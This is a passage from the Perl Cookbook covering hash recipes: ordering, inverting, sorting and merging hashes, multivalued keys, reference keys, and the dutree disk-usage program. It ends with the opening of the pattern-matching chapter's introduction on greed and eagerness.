The last two methods are interpolation tricks. By treating the hash as an list, you can't predict or control the output order of the key-value pairs. Furthermore, the output will consist of a list of keys and values, each separated by whatever $" happens to hold. You can't put newlines between pairs or "=>" within them, as we could with the other methods.

See Also

The $" variable in perlvar (1) and in the "Global Special Variables" section of Chapter 2 of Programming Perl; the foreach, map, keys, sort, and each functions in perlfunc (1) and Chapter 3 of Programming Perl; we give a technique for interpolating into strings in Recipe 1.10; we discuss the techniques for hash traversal in Recipe 5.4

Previous: 5.4. Traversing a Hash | Perl Cookbook | Next: 5.6. Retrieving from a Hash in Insertion Order
5.4. Traversing a Hash | Book Index | 5.6. Retrieving from a Hash in Insertion Order


Recipe 5.6. Retrieving from a Hash in Insertion Order

Perl CookbookSearch this book

5.6. Retrieving from a Hash in Insertion Order

Problem

The keys and each functions give you the hash elements in a strange order, and you want them in the order in which you inserted them.

Solution

Use the Tie::IxHash module.

use Tie::IxHash;
tie %HASH, "Tie::IxHash";
# manipulate %HASH
@keys = keys %HASH;         # @keys is in insertion order

Discussion

Tie::IxHash makes keys, each, and values return the hash elements in the order they were added. This often removes the need to preprocess the hash keys with a complex sort comparison or maintain a distinct array containing the keys in the order they were inserted into the hash.

Tie::IxHash also provides an object-oriented interface to splice, push , pop, shift, unshift, keys, values, and delete, among others.

Here's an example, showing both keys and each:

# initialize
use Tie::IxHash;

tie %food_color, "Tie::IxHash";
$food_color{Banana} = "Yellow";
$food_color{Apple}  = "Green";
$food_color{Lemon}  = "Yellow";

print "In insertion order, the foods are:\n";
foreach $food (keys %food_color) {
    print "  $food\n";
}

print "Still in insertion order, the foods' colors are:\n";
while (( $food, $color ) = each %food_color ) {
    print "$food is colored $color.\n";
}

In insertion order, the foods are:
  Banana
  Apple
  Lemon
Still in insertion order, the foods' colors are:
Banana is colored Yellow.
Apple is colored Green.
Lemon is colored Yellow.

See Also

The documentation for the CPAN module Tie::IxHash; Recipe 13.15

Previous: 5.5. Printing a Hash | Perl Cookbook | Next: 5.7. Hashes with Multiple Values Per Key
5.5. Printing a Hash | Book Index | 5.7. Hashes with Multiple Values Per Key


Recipe 5.7. Hashes with Multiple Values Per Key

Perl CookbookSearch this book

5.7. Hashes with Multiple Values Per Key

Problem

You want to store more than one value for each key.

Solution

Store an array reference in $hash{$key}, and put the values into that array.

Discussion

You can only store scalar values in a hash. References, however, are scalars. This solves the problem of storing multiple values for one key by making $hash{$key} a reference to an array containing values for $key. The normal hash operations - insertion, deletion, iteration, and testing for existence - can now be written in terms of array operations like push, splice, and foreach.

This code shows simple insertion into the hash. It processes the output of who (1) on Unix machines and outputs a terse listing of users and the ttys they're logged in on:

%ttys = ();

open(WHO, "who|")                   or die "can't open who: $!";
while (<WHO>) {
    ($user, $tty) = split;
    push( @{$ttys{$user}}, $tty );
}

foreach $user (sort keys %ttys) {
    print "$user: @{$ttys{$user}}\n";
}

The heart of the code is the push line, the multihash version of $ttys{$user} = $tty. We interpolate all the tty names in the print line with @{$ttys{$user}}. We'd loop over the anonymous array if, for instance, we wanted to print the owner of each tty:

foreach $user (sort keys %ttys) {
    print "$user: ", scalar( @{$ttys{$user}} ), " ttys.\n";
    foreach $tty (sort @{$ttys{$user}}) {
        @stat = stat("/dev/$tty");
        $user = @stat ? ( getpwuid($stat[4]) )[0] : "(not available)";
        print "\t$tty (owned by $user)\n";
    }
}

The exists function can have two meanings: "Is there at least one value for this key?" and "Does this value exist for this key?" Implementing the second approach requires searching the array for the value. The delete function and the first sense of exists are interrelated: If we can guarantee that no anonymous array is ever empty, we can use the built-in exists. We ensure that no anonymous array is ever empty by checking for such a situation after deleting an element:

sub multihash_delete {
    my ($hash, $key, $value) = @_;
    my $i;

    return unless ref( $hash->{$key} );
    for ($i = 0; $i < @{ $hash->{$key} }; $i++) {
        if ($hash->{$key}->[$i] eq $value) {
            splice( @{$hash->{$key}}, $i, 1);
            last;
        }
    }

    delete $hash->{$key} unless @{$hash->{$key}};
}

The alternative approach to multivalued hashes is given in Chapter 13, Classes, Objects, and Ties, implemented as tied normal hashes.

See Also

The splice, delete, push, foreach, and exists functions in perlf unc (1) and Chapter 3 of Programming Perl; Recipe 11.1; we cover ties in Recipe 13.15

Previous: 5.6. Retrieving from a Hash in Insertion Order | Perl Cookbook | Next: 5.8. Inverting a Hash
5.6. Retrieving from a Hash in Insertion Order | Book Index | 5.8. Inverting a Hash


Recipe 5.8. Inverting a Hash

Perl CookbookSearch this book

5.8. Inverting a Hash

Problem

Hashes map keys to values. You have a hash and a value for which you want to find the corresponding key.

Solution

Use reverse to create an inverted hash whose values are the original hash's keys and vice versa.

# %LOOKUP maps keys to values
%REVERSE = reverse %LOOKUP;

Discussion

This technique uses the list equivalence of hashes mentioned in the introduction. In list context, reverse treats %LOOKUP as a list and reverses the order of its elements. The significant property of a hash treated as a list is that the list elements come in pairs: the first element is the key; the second, the value. When you reverse such a list, the first element is the value, and the second is a key. Treating this list as a hash results in a hash whose values are the keys of the original hash and vice versa.

Here's an example:

%surname = ( "Mickey" => "Mantle", "Babe" => "Ruth" );
%first_name = reverse %surname;
print $first_name{"Mantle"}, "\n";
Mickey

When we treat %surname as a list, it becomes:

("Mickey", "Mantle", "Babe", "Ruth")

(or maybe ("Babe", "Ruth", "Mickey", "Mantle") because we can't predict the order). Reversing this list gives us:

("Ruth", "Babe", "Mantle", "Mickey")

When we treat this list as a hash, it becomes:

("Ruth" => "Babe", "Mantle" => "Mickey")

Now instead of turning first names into surnames, it turns surnames into first names.

Example 5.2 is a program called foodfind. If you give it a food name, it'll tell you the color of that food. If you give it a color, it'll tell you a food of that color.

Example 5.2: foodfind

#!/usr/bin/perl -w
# foodfind - find match for food or color

$given = shift @ARGV or die "usage: foodfind food_or_color\n";

%color = (
           "Apple"  => "red",
           "Banana" => "yellow",
           "Lemon"  => "yellow",
           "Carrot" => "orange"
         );

    %food = reverse %color;

    if (exists $color{$given}) {
    print "$given is a food with color $color{$given}.\n";
    }
    if (exists $food{$given}) {
    print "$food{$given} is a food with color $given.\n";
    }

If two keys in the original hash have the same value (as "Lemon" and "Banana" do in the color example), then the inverted hash will only have one (which is dependent on the hashing order, and you shouldn't try to predict it). This is because hashes have, by Perl definition, unique keys.

If you want to invert a hash with non-unique values, you must use the techniques shown in Recipe 5.7. That is, build up a hash whose values are a list of keys in the original hash:

# %food_color as per the introduction
while (($food,$color) = each(%food_color)) {
    push(@{$foods_with_color{$color}}, $food);
}

print "@{$foods_with_color{yellow}} were yellow foods.\n";
Banana Lemon were yellow foods.

This also lets us change the foodfind program to handle colors represented by more than one food. For instance, foodfind yellow reports bananas and lemons.

If any values in the original hash were references instead of just strings and numbers, the inverted hash poses a problem because references don't work well as hash keys unless you use the Tie::RefHash module described in Recipe 5.12.

See Also

The reverse function in perlfunc (1) and in Chapter 3 of Programming Perl; Recipe 13.15

Previous: 5.7. Hashes with Multiple Values Per Key | Perl Cookbook | Next: 5.9. Sorting a Hash
5.7. Hashes with Multiple Values Per Key | Book Index | 5.9. Sorting a Hash


Recipe 5.9. Sorting a Hash

Perl CookbookSearch this book

5.9. Sorting a Hash

Problem

You need to work with the elements of a hash in a particular order.

Solution

Use keys to get a list of the keys, then sort them based on the ordering you want:

# %HASH is the hash to sort
@keys = sort { criterion() } (keys %hash);
foreach $key (@keys) {
    $value = $hash{$key};
    # do something with $key, $value
}

Discussion

Even though you can't directly maintain a hash in a specific order (unless you use the Tie::IxHash module mentioned in Recipe 5.6), you can access its entries in any order.

This technique offers many variations on the same basic mechanism: You extract the keys, reorder them using the sort function, and then process the entries in the new order. All the sorting tricks shown in Chapter 4, Arrays, can be used here. Let's look at some applications.

The following code simply uses sort to order the keys alphabetically:

foreach $food (sort keys %food_color) {
    print "$food is $food_color{$food}.\n";
}

This sorts the keys by their associated values:

foreach $food (sort { $food_color{$a} cmp $food_color{$b} }
                keys %food_color)
{
    print "$food is $food_color{$food}.\n";
}

This sorts by length of the values:

@foods = sort { length($food_color{$a}) <=> length($food_color{$b}) }
    keys %food_color;
foreach $food (@foods) {
    print "$food is $food_color{$food}.\n";
}

See Also

The sort and keys functions in perlfunc (1) and in Chapter 3 of Programming Perl; Recipe 5.6; we discuss sorting lists in Recipe 4.15

Previous: 5.8. Inverting a Hash | Perl Cookbook | Next: 5.10. Merging Hashes
5.8. Inverting a Hash | Book Index | 5.10. Merging Hashes


Recipe 5.10. Merging Hashes

Perl CookbookSearch this book

5.10. Merging Hashes

Problem

You need to make a new hash with the entries of two existing hashes.

Solution

Treat them as lists, and join them as you would lists.

%merged = (%A, %B);

To save memory, loop over the hashes' elements and build a new hash that way:

%merged = ();
while ( ($k,$v) = each(%A) ) {
    $merged{$k} = $v;
}
while ( ($k,$v) = each(%B) ) {
    $merged{$k} = $v;
}

Discussion

The first method, like the earlier recipe on inverting a hash, uses the hash-list equivalence explained in the introduction. (%A, %B) evaluates to a list of paired keys and values. When we assign it to %merged, Perl turns that list of pairs back into a hash.

Here's an example of that technique:

# %food_color as per the introduction
%drink_color = ( Galliano  => "yellow",
                 "Mai Tai" => "blue" );

%ingested_color = (%drink_color, %food_color);

Keys in both input hashes appear only once in the output hash. If a food and a drink shared the same name, for instance, then the last one seen by the first merging technique would be the one that showed up in the resultant hash.

This style of direct assignment, as in the first example, is easier to read and write, but requires a lot of memory if the hashes are large. That's because Perl has to unroll both hashes into a temporary list before the assignment to the merged hash is done. Step-by-step merging using each, as in the second technique, spares you that cost and lets you decide what to do with duplicate keys.

The first example could be rewritten to use the each technique:

# %food_color per the introduction, then
%drink_color = ( Galliano  => "yellow",
                 "Mai Tai" => "blue" );

%substance_color = ();
while (($k, $v) = each %food_color) {
    $substance_color{$k} = $v;
}
while (($k, $v) = each %drink_color) {
    $substance_color{$k} = $v;
}

That technique duplicated the while and assignment code. Here's a sneaky way to get around that:

foreach $substanceref ( \%food_color, \%drink_color ) {
    while (($k, $v) = each %$substanceref) {
        $substance_color{$k} = $v;
    }
}

If we were merging hashes with duplicates, we can insert our own code to decide what to do with those duplicates:

foreach $substanceref ( \%food_color, \%drink_color ) {
    while (($k, $v) = each %$substanceref) {
        if (exists $substance_color{$k}) {
            print "Warning: $k seen twice.  Using the first definition.\n";
            next;
        }
        $substance_color{$k} = $v;
    }
}

In the special case of appending one hash to another, we can use the hash slice notation to give an elegant shorthand:

@all_colors{keys %new_colors} = values %new_colors;

This requires enough memory for lists of the keys and values of %new_colors. As with the first technique, the memory requirement might make this technique infeasible when such lists would be large.

See Also

This is a variation on Recipe 4.9; the each function in perlfunc (1) and in Chapter 3 of Programming Perl

Previous: 5.9. Sorting a Hash | Perl Cookbook | Next: 5.11. Finding Common or Different Keys in Two Hashes
5.9. Sorting a Hash | Book Index | 5.11. Finding Common or Different Keys in Two Hashes


Recipe 5.11. Finding Common or Different Keys in Two Hashes

Perl CookbookSearch this book

5.11. Finding Common or Different Keys in Two Hashes

Problem

You need to find keys in one hash that are present in another hash or keys in one hash that are not present in another.

Solution

Use keys to loop through the keys of one hash, checking whether each key is also in the other hash.

Find common keys

my @common = ();
foreach (keys %hash1) {
    push(@common, $_) if exists $hash2{$_};
}
# @common now contains common keys

Find keys from one hash that aren't in both

my @this_not_that = ();
foreach (keys %hash1) {
    push(@this_not_that, $_) unless exists $hash2{$_};
}

Discussion

Because we're finding common or different keys of the hashes, we can apply our earlier array recipes for finding common or different elements to arrays of the hashes' keys. For an explanation, see Recipe 4.8.

This code uses the difference technique to find non-citrus foods:

# %food_color per the introduction

# %citrus_color is a hash mapping citrus food name to its color.
%citrus_color = ( Lemon  => "yellow",
                  Orange => "orange",
                  Lime   => "green" );

# build up a list of non-citrus foods
@non_citrus = ();

foreach (keys %food_color) {
    push (@non_citrus, $_) unless exists $citrus_color{$_};
}

See Also

The "Variables" section of Chapter 2 of Programming Perl; the each function in perlfunc (1) and in Chapter 3 of Programming Perl

Previous: 5.10. Merging Hashes | Perl Cookbook | Next: 5.12. Hashing References
5.10. Merging Hashes | Book Index | 5.12. Hashing References


Recipe 5.12. Hashing References

Perl CookbookSearch this book

5.12. Hashing References

Problem

When you use keys on a hash whose keys are references, the references that keys returns no longer work. This situation often arises when you want to cross-reference two different hashes.

Solution

Use Tie::RefHash:

use Tie::RefHash;
tie %hash, "Tie::RefHash";
# you may now use references as the keys to %hash

Discussion

Hash keys are automatically "stringified," that is, treated as though they appeared between double quotes. In the case of numbers or strings, nothing is lost. This isn't the case with references, though.

Stringified references look like these:

Class::Somewhere=HASH(0x72048)
ARRAY(0x72048)

A stringified reference can't be dereferenced, because it is just a string and no longer a reference. This means you can't use references as the keys to a hash without losing their "magic."

Hand-rolled solutions to this problem involve maintaining a distinct hash whose keys are stringified references and whose values are the actual references. This is what Tie::RefHash does. We'll use IO objects for filehandles here to show you that even such strange references can be used to index a hash tied with Tie::RefHash.

Here's an example:

use Tie::RefHash;
use IO::File;

tie %name, "Tie::RefHash";
foreach $filename ("/etc/termcap", "/vmunix", "/bin/cat") {
    $fh = IO::File->new("< $filename") or next;
    $name{$fh} = $filename;
}
print "open files: ", join(", ", values %name), "\n";
foreach $file (keys %name) {
    seek($file, 0, 2);      # seek to the end
    printf("%s is %d bytes long.\n", $name{$file}, tell($file));
}

If you're storing objects as the keys to a hash, though, you almost always should be storing a unique attribute of the object (e.g., name or ID number) instead.

See Also

The documentation for the standard Tie::RefHash module; the "Hard References Don't Work as Hash Keys" section of Chapter 4 of Programming Perl, and the "Warning" section of perlref (1)

Previous: 5.11. Finding Common or Different Keys in Two Hashes | Perl Cookbook | Next: 5.13. Presizing a Hash
5.11. Finding Common or Different Keys in Two Hashes | Book Index | 5.13. Presizing a Hash


Recipe 5.13. Presizing a Hash

Perl CookbookSearch this book

5.13. Presizing a Hash

Problem

You want to preallocate memory for a hash to speed up your program so Perl won't have to incrementally allocate memory each time a new entry is added to the hash. Often you know the final size of a hash before you start building it up, and it's possible to use this information to speed up your program.

Solution

Assign the number of key-value pairs your hash will have to keys %HASH.

# presize %hash to $num
keys(%hash) = $num;

Discussion

This new feature, first introduced in release 5.004 of Perl, may or may not improve your performance. Perl already shares keys between hashes, so if you already have a hash with "Apple" as a key, Perl won't need to allocate memory for another copy of "Apple" when you add an entry whose key is "Apple" to another hash.

# will have 512 users in %users
keys(%users) = 512;

Perl's internal data structures require the number of keys to be a power of 2. If we had said:

keys(%users) = 1000;

Perl would have internally allocated 1024 "buckets" for the hash. Keys and buckets aren't always one to one. You get the best performance when they are, but the distribution of keys to buckets is dependent on your keys and Perl's (immutable) hash algorithm.

See Also

The keys function in perlfunc (1) and Chapter 3 of Programming Perl; Recipe 4.3

Previous: 5.12. Hashing References | Perl Cookbook | Next: 5.14. Finding the Most Common Anything
5.12. Hashing References | Book Index | 5.14. Finding the Most Common Anything


Recipe 5.14. Finding the Most Common Anything

Perl CookbookSearch this book

5.14. Finding the Most Common Anything

Problem

You have an aggregate data structure, such as an array or a hash. You want to know how often each element in the array (or key or value in the hash) occurs. For instance, if your array contains web server transactions, you might want to find the most commonly requested file. If your hash maps usernames to number of logins, you want to find the most common number of logins.

Solution

Use a hash to count how many times each element, key, or value appears:

%count = ();
foreach $element (@ARRAY) {
    $count{$element}++;
}

Discussion

Any time you want to count how often different things appear, you should probably be using a hash. The foreach adds one to $count{$element} for every occurrence of $element.

See Also

Recipe 4.6; Recipe 4.7

Previous: 5.13. Presizing a Hash | Perl Cookbook | Next: 5.15. Representing Relationships Between Data
5.13. Presizing a Hash | Book Index | 5.15. Representing Relationships Between Data


Recipe 5.15. Representing Relationships Between Data

Perl CookbookSearch this book

5.15. Representing Relationships Between Data

Problem

You want to represent relationships between elements of data - for instance, the mother of relationship in a family tree or parent process for a process table. This is closely related to representing tables in relational databases (tables represent relationships between information) and to representing computer science graph structures (edges represent relationships between nodes).

Solution

Use a hash to represent the relationship.

Discussion

Here's part of the family tree from the Bible:

%father = ( 'Cain'      => 'Adam',
            'Abel'      => 'Adam',
            'Seth'      => 'Adam',
            'Enoch'     => 'Cain',
            'Irad'      => 'Enoch',
            'Mehujael'  => 'Irad',
            'Methusael' => 'Mehujael',
            'Lamech'    => 'Methusael',
            'Jabal'     => 'Lamech',
            'Jubal'     => 'Lamech',
            'Tubalcain' => 'Lamech',
            'Enos'      => 'Seth' );

This lets us, for instance, easily trace a person's lineage:

while (<>) {
    chomp;
    do {
        print "$_ ";        # print the current name
        $_ = $father{$_};   # set $_ to $_'s father
    } while defined;        # until we run out of fathers
    print "\n";
}

We can already ask questions like "Who begat Seth?" by checking the %father hash. By inverting this hash, we invert the relationship. This lets us use Recipe 5.8 to answer questions like "Whom did Lamech beget?"

while ( ($k,$v) = each %father ) {
    push( @{ $children{$v} }, $k );
}

$" = ', ';                  # separate output with commas
while (<>) {
    chomp;
    if ($children{$_}) {
        @children = @{$children{$_}};
    } else {
        @children = "nobody";
    }
    print "$_ begat @children.\n";
}

Hashes can also represent relationships such as the C language #includes. A includes B if A contains #include B. This code builds the hash (it doesn't look for files in /usr/include as it should, but that is a minor change):

foreach $file (@files) {
    local *F;               # just in case we want a local FH
    unless (open (F, "<$file")) {
        warn "Couldn't read $file: $!; skipping.\n";
        next;
    }

    while (<F>) {
        next unless /^\s*#\s*include\s*<([^>]+)>/;
        push(@{$includes{$1}}, $file);
    }
    close F;
}

This shows which files don't include any others:

@include_free = ();                 # list of files that don't include others
@uniq{map { @$_ } values %includes} = undef;
foreach $file (sort keys %uniq) {
        push( @include_free , $file ) unless $includes{$file};
}

The values of %includes are anonymous arrays because a single file can (and often does) include more than one other file. We use map to build up a big list of all the included files and remove duplicates by using a hash.

See Also

Recipe 4.6; the more complex data structures in Recipe 11.9 through Recipe 11.14

Previous: 5.14. Finding the Most Common Anything | Perl Cookbook | Next: 5.16. Program: dutree
5.14. Finding the Most Common Anything | Book Index | 5.16. Program: dutree


Recipe 5.16. Program: dutree

Perl CookbookSearch this book

5.16. Program: dutree

The dutree program, shown in Example 5.3, turns the output of du.

% du pcb
19      pcb/fix
20      pcb/rev/maybe/yes
10      pcb/rev/maybe/not
705     pcb/rev/maybe
54      pcb/rev/web
1371    pcb/rev
3       pcb/pending/mine
1016    pcb/pending
2412    pcb

into sorted, indented output:

2412 pcb
   |    1371 rev
   |       |    705 maybe
   |       |      |      675 .
   |       |      |       20 yes
   |       |      |       10 not
   |       |    612 .
   |       |     54 web
   |    1016 pending
   |       |        1013 .
   |       |           3 mine
   |      19 fix
   |       6 .

The arguments you give dutree are passed through to du. That way you could call dutree in any of these ways, or maybe more if your du supports other options.

% dutree
% dutree /usr
% dutree -a
% dutree -a /bin

The %Dirsize hash maintains the mapping of names to sizes. For example, $Dirsize{"pcb"} contains 2412 in this sample run. We'll use that hash both for output and for sorting each directory's subdirectories by size.

%Kids is more interesting. For any given path $path, $Kids{$path} contains a (reference to an) array of names of subdirectories of this one. The "pcb" entry contains a reference to an anonymous array containing "fix", "rev", and "pending". The "rev" entry contains "maybe" and "web". The "maybe" entry contains "yes" and "not", which do not have their own entries because they are end nodes in the tree.

The output function is passed the start of the tree - the last line read in from the output of du. First it prints that directory and its size. Then the function sorts the directory's children (if any) so that those with the most disk usage float to the top. Finally, output calls itself, recursing on each child in order. The extra arguments are used in formatting.

This program is inherently recursive because the filesystem is recursive. However, its data structure is not recursive; at least, not the way a circular linked list is. Each value is an array of further keys to process. The recursion resides in the processing, not in the storage.

Example 5.3: dutree

#!/usr/bin/perl -w
# dutree - print sorted indented rendition of du output
use strict;

my %Dirsize;
my %Kids;

getdots(my $topdir = input());
output($topdir);

# run du, read in input, save sizes and kids
# return last directory (file?) read
sub input {
    my($size, $name, $parent);
    @ARGV = ("du @ARGV |");         # prep the arguments
    while (<>) {                    # magic open is our friend
        ($size, $name) = split;
        $Dirsize{$name} = $size;
        ($parent = $name) =~ s#/[^/]+$##;   # dirname
        push @{ $Kids{$parent} }, $name unless eof;
    }
    return $name;
}

# figure out how much is taken up in each directory
# that isn't stored in subdirectories.  add a new
# fake kid called "." containing that much.
sub getdots {
    my $root = $_[0];
    my($size, $cursize);
    $size = $cursize = $Dirsize{$root};
    if ($Kids{$root}) {
        for my $kid (@{ $Kids{$root} }) {
            $cursize -= $Dirsize{$kid};
            getdots($kid);
        }
    }
    if ($size != $cursize) {
        my $dot = "$root/.";
        $Dirsize{$dot} = $cursize;
        push @{ $Kids{$root} }, $dot;
    }
}

# recursively output everything,
# passing padding and number width in as well
# on recursive calls
sub output {
    my($root, $prefix, $width) = (shift, shift || '', shift || 0);
    my $path;
    ($path = $root) =~ s#.*/##;     # basename
    my $size = $Dirsize{$root};
    my $line = sprintf("%${width}d %s", $size, $path);
    print $prefix, $line, "\n";
    for ($prefix .= $line) {        # build up more output
        s/\d /| /;
        s/[^|]/ /g;
    }
    if ($Kids{$root}) {             # not a bachelor node
        my @Kids = @{ $Kids{$root} };
        @Kids = sort { $Dirsize{$b} <=> $Dirsize{$a} } @Kids;
        $Dirsize{$Kids[0]} =~ /(\d+)/;
        my $width = length $1;
        for my $kid (@Kids) { output($kid, $prefix, $width) }
    }
}

Before Perl supported hashes of arrays directly, Herculean efforts were required to emulate these higher order constructs. Some folks used repeated calls to split and join, but these were exceedingly slow.

Example 5.4 is a version of dutree from those days of Perl arcana. Because we didn't have proper array references, we had to usurp the Perl symbol table itself. This program created variables on the fly with bizarre names. Can you find which hash this program is using?

The @{"pcb"} array contains "pcb/fix", "pcb/rev", and "pcb/pending". The @{"pcb/rev"} array contains "pcb/rev/maybe" and "pcb/rev/web". The @{"pcb/rev/maybe"} array contains "pcb/rev/yes" and "pcb/rev/not".

When you assign something like "pcb/fix" to *kid, it promotes the string on the right-hand side to a typeglob. This makes @kid an alias for @{"pcb/fix"} - among other things. It would also alias &kid to &{"pcb/fix"}, and so on.

If that isn't interesting enough, consider how the local is using dynamic scoping of global variables to avoid passing in extra arguments. Check out what's happening with the $width variable in the output routine.

Example 5.4: dutree-orig

#!/usr/bin/perl
# dutree_orig: the old version pre-perl5 (early 90s)

@lines = `du @ARGV`;
chop(@lines);
&input($top = pop @lines);
&output($top);
exit;

sub input {
    local($root, *kid, $him) = @_[0,0];
    while (@lines && &childof($root, $lines[$#lines])) {
        &input($him = pop(@lines));
        push(@kid, $him);
    }
    if (@kid) {
        local($mysize) = ($root =~ /^(\d+)/);
        for (@kid) { $mysize -= (/^(\d+)/)[0]; }
        push(@kid, "$mysize .") if $size != $mysize;
    }
    @kid = &sizesort(*kid);
}

sub output {
    local($root, *kid, $prefix) = @_[0,0,1];
    local($size, $path) = split(' ', $root);
    $path =~ s!.*/!!;
    $line = sprintf("%${width}d %s", $size, $path);
    print $prefix, $line, "\n";
    $prefix .= $line;
    $prefix =~ s/\d /| /;
    $prefix =~ s/[^|]/ /g;
    local($width) = $kid[0] =~ /(\d+)/ && length("$1");
    for (@kid) { &output($_, $prefix); };
}

sub sizesort {
    local(*list, @index) = shift;
    sub bynum { $index[$b] <=> $index[$a]; }
    for (@list) { push(@index, /(\d+)/); }
    @list[sort bynum 0..$#list];
}

sub childof {
    local(@pair) = @_;
    for (@pair) { s/^\d+\s+//g; s/$/\//; }
    index($pair[1], $pair[0]) >= 0;
}

The answer to the question posed above, "Which hash is the old dutree using?" is %main::, that is, the Perl symbol table itself. Needless to say, this program will never run under use strict. We're happy to report that the updated version runs three times as fast as the old one. That's because the old one keeps looking up variables in the symbol table, and the new one doesn't have to. It's also because we avoid all that slow splitting of the space used and the directory name. But we thought we'd show you the old version because it is instructive too.

Previous: 5.15. Representing Relationships Between Data | Perl Cookbook | Next: 6. Pattern Matching
5.15. Representing Relationships Between Data | Book Index | 6. Pattern Matching


[Chapter 6] Pattern Matching

Perl CookbookSearch this book
Previous: 5.16. Program: dutree Chapter 6 Next: 6.1. Copying and Substituting Simultaneously

6. Pattern Matching

Contents:
Introduction
Copying and Substituting Simultaneously
Matching Letters
Matching Words
Commenting Regular Expressions
Finding the Nth Occurrence of a Match
Matching Multiple Lines
Reading Records with a Pattern Separator
Extracting a Range of Lines
Matching Shell Globs as Regular Expressions
Speeding Up Interpolated Matches
Testing for a Valid Pattern
Honoring Locale Settings in Regular Expressions
Approximate Matching
Matching from Where the Last Pattern Left Off
Greedy and Non-Greedy Matches
Detecting Duplicate Words
Expressing AND, OR, and NOT in a Single Pattern
Matching Multiple-Byte Characters
Matching a Valid Mail Address
Matching Abbreviations
Program: urlify
Program: tcgrep
Regular Expression Grabbag

[Art is] pattern informed by sensibility.

- Sir Herbert Read The Meaning of Art

6.0. Introduction

Although most modern programming languages offer primitive pattern matching tools, usually through an extra library, Perl's patterns are integrated directly into the language core. Perl's patterns boast features not found in pattern matching in other languages, features that encourage a whole different way of looking at data. Just as chess players see patterns in the board positions that their pieces control, Perl adepts look at data in terms of patterns. These patterns, expressed in the punctuation-intensive language of regular expressions,[1] provide access to powerful algorithms normally available only to computer science scholars.

[1] To be honest, regular expressions in the classic sense of the word do not by definition contain backreferences, the way Perl's patterns do.

"If this pattern matching thing is so powerful and so fantastic," you may be saying, "why don't you have a hundred different recipes on regular expressions in this chapter?" Regular expressions are the natural solution to many problems involving numbers, strings, dates, web documents, mail addresses, and almost everything else in this book ; we used pattern matching over 100 times in other chapters. This chapter mostly presents recipes in which pattern matching forms part of the questions, not just part of the answers.

Perl's extensive and ingrained support for regular expressions means that you not only have features available that you won't find in any other language, but you have new ways of using them, too. Programmers new to Perl often look for functions like these:

match( $string, $pattern );
subst( $string, $pattern, $replacement );

But matching and substituting are such common tasks that they merit their own syntax:

$meadow =~ m/sheep/;   # True if $meadow contains "sheep"
$meadow !~ m/sheep/;   # True if $meadow doesn't contain "sheep"
$meadow =~ s/old/new/; # Replace "old" with "new" in $meadow

Pattern matching isn't like direct string comparison, even at its simplest. It's more like string searching with mutant wildcards on steroids. Without anchors, the position where the match occurs can float freely throughout the string. Any of the following lines would also be matched by the expression $meadow =~ /ovine/, giving false positives when looking for lost sheep:

Fine bovines demand fine toreadors.
Muskoxen are a polar ovibovine species.
Grooviness went out of fashion decades ago.

Sometimes they're right in front of you but they still don't match:

Ovines are found typically in oviaries.

The problem is that while you are probably thinking in some human language, the pattern matching engine most assuredly is not. When the engine is presented with the pattern /ovine/ and a string to match this against, it searches the string for an "o" that is immediately followed by a "v", then by an "i", then by an "n", and then finally by an "e". What comes before or after that sequence doesn't matter.

As you find your patterns matching some strings you don't want them to match and not matching other strings that you do want them to match, you start embellishing. If you're really looking for nothing but sheep, you probably want to match more like this:

if ($meadow =~ /\bovines?\b/i) { print "Here be sheep!" }

Don't be tricked by the phantom cow lurking in that string. That's not a bovine. It's an ovine with a \b in front, which matches at a word boundary only. The s? indicates an optional "s" so we can find one or more ovines. The trailing /i makes whole pattern match case insensitive.

As you see, some characters or sequences of characters have special meaning to the pattern-matching engine. These metacharacters let you anchor the pattern to the start or end of the string, give alternatives for parts of a pattern, allow repetition and wildcarding, and remember part of the matching substring for use later in the pattern or in subsequent code.

Learning the syntax of pattern matching isn't as daunting as it might appear. Sure, there are a lot of symbols, but each has a reason for existing. Regular expressions aren't random jumbles of punctuation - they're carefully thought out jumbles of punctuation! If you forget one, you can always look it up. Summary tables are included in Programming Perl, Learning Perl, Mastering Regular Expressions, and the perlre (1) and perlop (1) manpages included with every Perl installation.

The Tricky Bits

Much trickier than the syntax of regular expressions is their sneaky semantics. The three aspects of pattern-matching behavior that seem to cause folks the most trouble are greed, eagerness, and backtracking (and also how these three interact with each other).

Greed is the principle that if a quantifier (like *) can match a varying number of times, it will prefer to match as long a substring as it can. This is explained in Recipe 6.15.

Eagerness is the notion that the leftmost match wins. The engine is very eager to return you a match as quickly as possible, sometimes even before you are expecting it. Consider the match "Fred" =~ /x*/. If asked to explain this in plain language, you might say "Does the string "Fred" contain any x 's?" If so, you might be surprised to learn that it seems to. That's because /x*/ doesn't truly mean "any x's", unless your idea of "any" includes nothing at all. Formally, it means zero or more of them, and in this case, zero sufficed for the eager matcher.

A more illustrative example of eagerness would be the following:

$string = "good food";
$string =~ s/o*/e/;

Can you guess which of the following is in $string after that substitution?

good food
geod food
geed food
geed feed
ged food
ged fed
egood food

The answer is the last one because the earliest point at which zero or more occurrences of "o" could be found was right at the beginning of the string. Surprised? Regular expressions can do that to you.

Can you guess what adding /g modifier to make the substitution global will do? Think of it this way: that string has many places where zero or more instances of "o" occur - eight, to be precise. The answer is "egeede efeede".

Here's another example of where greed takes a back seat to eagerness:

% echo ababacaca | perl -ne 'print "$&\n" if /(a|ba|b)+(a|ac)+/'
ababa

That's because Perl uses what's called a traditional NFA,[2] a non-deterministic finite automaton. This kind of matching engine is not guaranteed to return the longest overall match, just the longest, leftmost match. You might think of Perl's greed as being left-to-right directed, not globally greedy.

[2] As opposed to a POSIX-style NFA. See Mastering Regular Expressions for the differences.

But it doesn't have to be that way. Here's an example using awk, a language that Perl borrows a lot from:

% echo ababacaca |
    awk 'match($0,/(a|ba|b)+(a|ac)+/) { print substr($0, RSTART, RLENGTH) }'
ababacaca

Choosing how to implement pattern matching depends mainly on two factors: are the expressions nonregular (do they use backreferences), and what needs to be returned (yes/no, range of whole match, ranges of subexpressions). Tools like awk, egrep, and lex use regular expressions and only need a yes/no answer or the range of the whole match. This is exactly what DFAs can support, and because DFAs are faster and simpler, these tools have traditionally used DFA implementations. Pattern matching within programs and libraries, such as ed, regex, and perl, is another kettle of fish; typically, we need to support nonregular expressions and we need to know what parts of the string were matched by various parts of the pattern. This is a much harder problem with potentially exponential run times. The natural algorithm for this problem is an NFA, and therein lies both a problem and an opportunity. The problem is that NFAs are slow. The opportunity is that significant performance gains can be made by rewriting the patterns to exploit how the particular NFA implementation runs. This is a major part of Jeffrey Friedl's book, Mastering Regular Expressions.

